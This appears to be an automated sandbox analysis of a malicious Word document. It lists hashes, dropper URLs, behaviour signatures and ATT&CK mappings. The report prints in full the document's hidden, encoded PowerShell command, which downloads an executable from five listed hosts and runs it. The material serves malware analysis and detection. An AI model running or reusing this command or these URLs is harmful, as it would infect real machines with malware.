78cb5ae63364f07ef80aed5b3519fda06750053b1e65d226f09e159b42847071

General

Target

78cb5ae63364f07ef80aed5b3519fda06750053b1e65d226f09e159b42847071.doc
Size

171KB
MD5

dc6229943a8b00cbca4ea6f70b3c9c08
SHA1

5eb56bab75a2db1dfc58866a875d822a97ba6c97
SHA256

78cb5ae63364f07ef80aed5b3519fda06750053b1e65d226f09e159b42847071
SHA512

af1c42c5aca7c10e468aef6a5a1e7a07c088864ffef4db88c3845deb0fa8b115d30ea44f03d4d25f068d42f82f2afce5557109b318042cd104f1533568d46d6c
SSDEEP

3072:I12y/GdyDktGDWLS0HZWD5w8K7Nk9dD7IBUBNGp4HAIoy:I12k4DtGiL3HJk9dD7bvPHAID

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://bepeterson.futurismdemo.com/archive/y5o7/

exe.dropper

http://www.gnc.happenizedev.com/backup/n99uf/

exe.dropper

http://odoo-accounting.com/wp-includes/rest-api/search/R/

exe.dropper

http://monoclepetes.com/disneyworldclassroom/sy52j7/

exe.dropper

http://bakestories.com/0hikvh/Jm4QTsHwF/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4900	4620	Powershell.exe	83

Blocklisted process makes network request 5 IoCs

flow	pid	Process
25	4900	Powershell.exe
66	4900	Powershell.exe
68	4900	Powershell.exe
70	4900	Powershell.exe
73	4900	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4900	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1728	WINWORD.EXE
1728	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4900	Powershell.exe
4900	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4900	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1728	WINWORD.EXE
1728	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
1728	WINWORD.EXE
1728	WINWORD.EXE
1728	WINWORD.EXE
1728	WINWORD.EXE
1728	WINWORD.EXE
1728	WINWORD.EXE
1728	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1728 wrote to memory of 2088	1728	WINWORD.EXE	87
PID 1728 wrote to memory of 2088	1728	WINWORD.EXE	87

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\78cb5ae63364f07ef80aed5b3519fda06750053b1e65d226f09e159b42847071.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1728
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2088

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABHAHgAZgB5AGcAaQBmAGIAcgBjAGQAPQAnAFMAcQBwAGoAdAB1AHAAZAB1AHAAeAAnADsAJABVAHkAcABkAGwAZQBpAHMAaAB1AGcAIAA9ACAAJwAxADYAMgAnADsAJABCAGcAYgB3AHcAbABjAGIAagB2AGcAaQA9ACcATABjAHcAbQBjAHcAbABzACcAOwAkAFIAYwBkAHQAaABnAGEAZQBwAHUAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFUAeQBwAGQAbABlAGkAcwBoAHUAZwArACcALgBlAHgAZQAnADsAJABCAG0AYgBuAGwAaQBoAHQAYwBuAGUAdQBxAD0AJwBPAG0AcgBoAHUAYwBrAGgAbAAnADsAJABGAGYAaQB2AGQAdQBxAGkAdgBrAHMAZgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBjAGwASQBlAG4AdAA7ACQAUABhAGEAdABnAGUAagBhAHcAPQAnAGgAdAB0AHAAOgAvAC8AYgBlAHAAZQB0AGUAcgBzAG8AbgAuAGYAdQB0AHUAcgBpAHMAbQBkAGUAbQBvAC4AYwBvAG0ALwBhAHIAYwBoAGkAdgBlAC8AeQA1AG8ANwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGcAbgBjAC4AaABhAHAAcABlAG4AaQB6AGUAZABlAHYALgBjAG8AbQAvAGIAYQBjAGsAdQBwAC8AbgA5ADkAdQBmAC8AKgBoAHQAdABwADoALwAvAG8AZABvAG8ALQBhAGMAYwBvAHUAbgB0AGkAbgBnAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwByAGUAcwB0AC0AYQBwAGkALwBzAGUAYQByAGMAaAAvAFIALwAqAGgAdAB0AHAAOgAvAC8AbQBvAG4AbwBjAGwAZQBwAGUAdABlAHMALgBjAG8AbQAvAGQAaQBzAG4AZQB5AHcAbwByAGwAZABjAGwAYQBzAHMAcgBvAG8AbQAvAHMAeQA1ADIAagA3AC8AKgBoAHQAdABwADoALwAvAGIAYQBrAGUAcwB0AG8AcgBpAGUAcwAuAGMAbwBtAC8AMABoAGkAawB2AGgALwBKAG0ANABRAFQAcwBIAHcARgAvACcALgAiAFMAcABMAGAAaQBUACIAKAAnACoAJwApADsAJABTAGwAYgBpAGkAagBkAGMAdgBrAGsAcAA9ACcATgBtAGcAeQB6AHIAbABxACcAOwBmAG8AcgBlAGEAYwBoACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsAIABpAG4AIAAkAFAAYQBhAHQAZwBlAGoAYQB3ACkAewB0AHIAeQB7ACQARgBmAGkAdgBkAHUAcQBpAHYAawBzAGYALgAiAEQAYABvAHcAbgBgAEwATwBhAEQARgBJAEwARQAiACgAJABJAG8AegByAG8AbgBuAGgAcQB5AGsALAAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApADsAJABKAHUAawBpAHcAcQBlAHAAdgB0AHAAPQAnAFQAZgB1AHIAbwBrAHcAZQB4AGIAZwBnACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAUgBjAGQAdABoAGcAYQBlAHAAdQApAC4AIgBMAGAAZQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMwAyADAAMgA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAVABBAGAAUgB0ACIAKAAkAFIAYwBkAHQAaABnAGEAZQBwAHUAKQA7ACQATQBhAGcAYwBmAG8AeQBvAHkAdgA9ACcARwB1AHQAeABsAHIAdQBtACcAOwBiAHIAZQBhAGsAOwAkAFoAdwBmAGoAaQBtAHMAZQBiAD0AJwBWAGQAdQBtAG4AcgBlAHYAcQB3AHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQBrAGQAZAB1AHAAdgBxAHEAPQAnAEsAdwB2AGYAbAB2AHQAdAAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\FD38415A.wmf

Filesize
444B

MD5
7b35e482be7b40e3399da42da5ae6d29

SHA1
e81aac533491c7b1da987a352c42ef9b470c58c7

SHA256
43407c7c6317d99cc36f414166092dd31bea8fd8770a60544279051c95b1d503

SHA512
0f0c5f32d82c981829c33ad98202cd553f9fdb4a57367b3490f3caf6c72d6c8d6a65ef98081fe65d7c76d33bf4ddd988dfc8fd660a0bebf407ec23d406122b3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\TCDFC7A.tmp\iso690.xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c5lyyab3.wd4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
16B

MD5
d29962abc88624befc0135579ae485ec

SHA1
e40a6458296ec6a2427bcb280572d023a9862b31

SHA256
a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

SHA512
4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms

Filesize
1KB

MD5
8aa74266ff741ca658dd491aa07b864e

SHA1
debf10f8edacb53a96b8cc63f9af884eb8c25685

SHA256
9eac5b57a977d491fdaa8b189b7aa5243af107430c05edc59f1e9310e800f346

SHA512
a2ddbd93f6071da0b9bb3516ac641b5e5086d58eac39d1bc8c8ddf3594f578cf51ebd74624e4d204b43261188ec75890046be683682adc0c0ff472bffeb371fc

Download Submit
memory/1728-8-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

Filesize
2.0MB

Download
memory/1728-17-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

Filesize
2.0MB

Download
memory/1728-0-0x00007FFE333B0000-0x00007FFE333C0000-memory.dmp

Filesize
64KB

Download
memory/1728-7-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

Filesize
2.0MB

Download
memory/1728-6-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

Filesize
2.0MB

Download
memory/1728-11-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

Filesize
2.0MB

Download
memory/1728-13-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

Filesize
2.0MB

Download
memory/1728-14-0x00007FFE30A50000-0x00007FFE30A60000-memory.dmp

Filesize
64KB

Download
memory/1728-12-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

Filesize
2.0MB

Download
memory/1728-15-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

Filesize
2.0MB

Download
memory/1728-18-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

Filesize
2.0MB

Download
memory/1728-20-0x00007FFE30A50000-0x00007FFE30A60000-memory.dmp

Filesize
64KB

Download
memory/1728-19-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

Filesize
2.0MB

Download
memory/1728-9-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

Filesize
2.0MB

Download
memory/1728-16-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

Filesize
2.0MB

Download
memory/1728-10-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

Filesize
2.0MB

Download
memory/1728-2-0x00007FFE333B0000-0x00007FFE333C0000-memory.dmp

Filesize
64KB

Download
memory/1728-1-0x00007FFE733CD000-0x00007FFE733CE000-memory.dmp

Filesize
4KB

Download
memory/1728-4-0x00007FFE333B0000-0x00007FFE333C0000-memory.dmp

Filesize
64KB

Download
memory/1728-5-0x00007FFE333B0000-0x00007FFE333C0000-memory.dmp

Filesize
64KB

Download
memory/1728-71-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

Filesize
2.0MB

Download
memory/1728-72-0x00007FFE733CD000-0x00007FFE733CE000-memory.dmp

Filesize
4KB

Download
memory/1728-73-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

Filesize
2.0MB

Download
memory/1728-74-0x00007FFE73330000-0x00007FFE73525000-memory.dmp

Filesize
2.0MB

Download
memory/1728-3-0x00007FFE333B0000-0x00007FFE333C0000-memory.dmp

Filesize
64KB

Download
memory/4900-51-0x0000017306BD0000-0x0000017306BF2000-memory.dmp

Filesize
136KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads